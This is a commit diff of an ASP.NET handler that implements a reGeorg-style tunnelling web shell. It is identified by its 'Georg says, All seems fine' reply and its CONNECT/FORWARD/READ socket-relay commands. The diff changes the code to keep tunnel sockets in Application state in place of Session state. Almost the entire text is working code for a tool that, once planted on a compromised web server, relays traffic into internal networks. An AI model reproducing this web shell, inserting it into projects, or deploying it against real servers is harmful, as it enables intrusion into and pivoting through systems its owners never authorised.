@@ -43,21 +43,21 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
4343 Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
4444 sender.Connect(remoteEP);
4545 sender.Blocking = false;
46- context.Session [mark] = sender;
46+ context.Application [mark] = sender;
4747 context.Response.AddHeader("X-STATUS", "OK");
4848 } catch (Exception ex) {
4949 context.Response.AddHeader("X-ERROR", "Failed connecting to target");
5050 context.Response.AddHeader("X-STATUS", "FAIL");
5151 }
5252 } else if (cmd == "DISCONNECT") {
5353 try {
54- Socket s = (Socket)context.Session [mark];
54+ Socket s = (Socket)context.Application [mark];
5555 s.Close();
5656 } catch (Exception ex) {
5757 }
58- context.Session .Remove(mark);
58+ context.Application .Remove(mark);
5959 } else if (cmd == "FORWARD") {
60- Socket s = (Socket)context.Session [mark];
60+ Socket s = (Socket)context.Application [mark];
6161 try {
6262 int buffLen = context.Request.ContentLength;
6363 byte[] buff = new byte[buffLen];
@@ -73,7 +73,7 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
7373 }
7474 } else if (cmd == "READ") {
7575 try {
76- Socket s = (Socket)context.Session [mark];
76+ Socket s = (Socket)context.Application [mark];
7777 int c = 0;
7878 byte[] readBuff = new byte[513];
7979 try {
@@ -93,7 +93,6 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
9393 }
9494 }
9595 } else {
96- context.Session["l"]=true;
9796 context.Response.Write("Georg says, 'All seems fine'");
9897 }
9998 } catch (Exception ex) {
0 commit comments